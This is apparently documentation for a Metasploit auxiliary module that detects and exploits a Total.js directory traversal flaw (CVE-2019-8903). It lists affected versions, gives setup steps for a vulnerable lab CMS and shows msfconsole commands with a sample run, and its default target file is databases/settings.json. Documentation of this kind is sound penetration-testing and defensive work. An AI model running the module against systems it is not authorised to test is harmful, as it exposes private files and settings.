documentation/modules/auxiliary/scanner/http/totaljs_traversal.md
This module check and exploits a Directory Traversal vulnerability in Total.js framework < 3.2.4 (CVE-2019-8903). Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic.
Affecting total.js package, versions:
=2.1.0 <2.1.1
=2.2.0 <2.2.1
=2.3.0 <2.3.1
=2.4.0 <2.4.1
=2.5.0 <2.5.1
=2.6.0 <2.6.3
=2.7.0 <2.7.1
=2.8.0 <2.8.1
=2.9.0 <2.9.5
=3.0.0 <3.0.1
=3.1.0 <3.1.1
=3.2.0 <3.2.4
npm install [email protected]git clone https://github.com/totaljs/cms.gitcd cms && npm installmsfconsoleuse auxiliary/scanner/http/totaljs_traversalset RHOST <IP>set RPORT <PORT>runTraversal depth. Default is 1
File to obtain. Default is databases/settings.json
msf > use auxiliary/scanner/http/totaljs_traversal
msf auxiliary(scanner/http/totaljs_traversal) > set RHOST 192.168.2.59
RHOST => 192.168.2.59
msf auxiliary(scanner/http/totaljs_traversal) > set RPORT 8320
RPORT => 8320
msf auxiliary(scanner/http/totaljs_traversal) > run
[*] Running module against 192.168.2.59
[*] Total.js version is: ^3.2.0
[*] App name: CMS
[*] App description: A simple and powerful CMS solution written in Total.js / Node.js.
[*] App version: 12.0.0
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/totaljs_traversal) >